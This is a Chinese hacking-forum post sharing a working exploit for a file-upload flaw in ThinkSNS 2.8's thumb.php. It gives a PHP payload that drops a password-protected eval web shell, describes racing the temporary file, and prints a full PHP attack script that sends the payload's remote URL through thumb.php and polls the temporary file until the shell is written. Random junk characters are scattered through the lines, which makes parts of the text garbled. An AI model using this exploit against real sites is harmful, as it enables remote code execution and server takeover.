找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2133|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞版本% H0 i- c* v9 F
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)0 M; [0 Z7 ^* ~5 u, A
漏洞文件
! C0 _0 t! b6 N1 ~/ m* H存在漏洞的文件为:thumb.php. `" q% d, ]* |; r: x
作者:韦鲲鹏* c: w0 p. C4 c( R
1、        准备如下PHP文件并上传到服务器(自己的)。
8 y4 W6 ~8 ?! d/ \9 Z% d文件内容如下:, u4 x( ?; \% T' m  O
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>0 c1 W( Y( P9 ^5 v, Y$ j
2、        计算出临时的文件名:
, k' o" K4 G/ n4 x3 q1 R' [5 X这里我们可以看文件的99行(刚刚是不是没注意呀!)。6 }+ `. O6 i2 k' n* }/ J2 P0 m; A
( ~2 z! m! g( z2 L) V( h7 ?2 ^
3、        上传临时文件。
' c- m  k# l: y! x0 f6 v$ |& q: a4、        访问临时文件。5 _( s" U: _! S* P( I
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)
0 C" c4 [: L. `/ [& cExploit文件内容如下:(这个我就不详细解释了)! e4 W+ L, V! |
<?php  U# }, j- I" c$ P/ F
error_reporting(0);
7 |. n1 A8 k$ rset_time_limit(0);
9 ?9 R/ \* ?5 F# Wini_set(“default_socket_timeout”, 5);
% V& n6 Q( N5 \8 Jfunction http_send($host, $port, $headers) {
3 l. c  P" O5 j: ]# l+ [$fp = fsockopen($host, $port);, y4 K! G+ y2 c+ E6 @$ \/ t
if (!$fp) die(‘Connection -> fail’);5 F- E' d3 C$ C+ ]" y; W
fputs($fp, $headers);! E& Z% }% `, |( c
return $fp;) w" k+ Y% i; i
}7 a% G* t: P% {* e1 V
function http_recv($fp) {
( A5 p% I2 A6 `" N$ G$ret=”";- j& m  T1 S; G0 F2 L" J
while (!feof($fp))  B2 H: N( @$ s
$ret.= fgets($fp, 1024);
1 {' n; H+ u8 I8 j7 Ffclose($fp);4 X( n- ]# ], z% J: _3 M* E
return $ret;0 n! b* D2 v' s) h; l/ Q
}
; z5 |" d& Q: E  pprint “\n#  ThinkSns Arbitrary File Upload   #\n”;
) e! R- N7 X: i( hprint “# Discovered by 韦鲲鹏 #\n\n”;
. e  _! a& T* fif ($argc < 4) {
0 {; d( k5 f  V" k/ r8 x/ `! J9 Fprint “Usage:   php <host> <path> <romote_url>\n”;, p3 p/ S' v4 n! }" o) m8 K) j
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
8 a) `/ i& T  D( @0 K) _, pdie();; l& T2 }7 K+ J( [: X$ n  {
}9 h, H3 @3 k' l# J& r0 ~; S4 y
$host = $argv[1];* `6 p/ z5 ?6 i- s3 {
$path = $argv[2];9 R4 N0 I  L1 m  n
$url = $argv[3];
' b- V) k4 }8 A/ \$i=0;! d  W/ w, q) k  {  E- {
//上传数据包% ^- @& i' s0 @1 y( l
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;: ^9 X. T& Q+ N: j: O
$headers_up .= “Host: “.$host.”\r\n”;+ @% `0 B" j: D* ?  p3 a0 Q: a" k
$headers_up .= “Connection: close\r\n\r\n”;
1 }9 ?  t) N( H. B1 Necho $headers_up;! m* ?7 f, b, I1 q2 t
//临时文件访问数据包
# L3 e5 s" n; ~: q: v& u$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;- Y' N' q' ^6 F2 I! ]( }, S
$headers .= “Host: “.$host.”\r\n”;
2 }- b/ p) Z% M: X' E$headers .= “Connection: close\r\n\r\n”;
6 ?* H; j: o: s5 I4 Lecho $headers;! x* \/ i; e/ C  l. Y* m9 o
while(++$i<10) {4 L" o' a2 u7 G5 p. I# x
fclose(http_send($host, 80, $headers));
# u( P  D1 F* z0 Z6 l8 n" Y9 U}) J' Y! y& P) X6 i
fclose(http_send($host, 80, $headers_up));
8 m' S/ b! W9 Qwhile(++$i<50) {) h/ j7 S4 e: I0 S% p. y' ^5 v' a
fclose(http_send($host, 80, $headers));+ e# J; G) Y$ e# O. r2 _& s" t; I
}- j8 t0 a7 z$ b: C- d7 G4 `; Y
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;; b* h6 x; p4 x' J& {' d, g
$headers .= “Host: “.$host.”\r\n”;( ^/ Q' L' m$ ^. `% t" [8 l. I8 u) d
$headers .= “Connection: close\r\n\r\n”;0 B8 ?( v0 b9 W5 ?2 d  z: @
$res=http_recv(http_send($host, 80, $headers));
7 {4 @$ c* T  }' Dif(preg_match(‘/200 OK/’,$res)) {
# |2 q/ m1 Z, C8 {( O/ K6 uprint “Success!\n\n”;3 ^( h1 r/ X) w- {7 ~% A
} else {" |: w5 B: |( R/ p
print “Fail!\n\n”;
. k, h. m( j6 ~& V7 ~% {% F$ `}$ f+ k7 h) B' E  _. [. B
?>
5 Q6 l5 x( u! A( r1 J  m, V
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表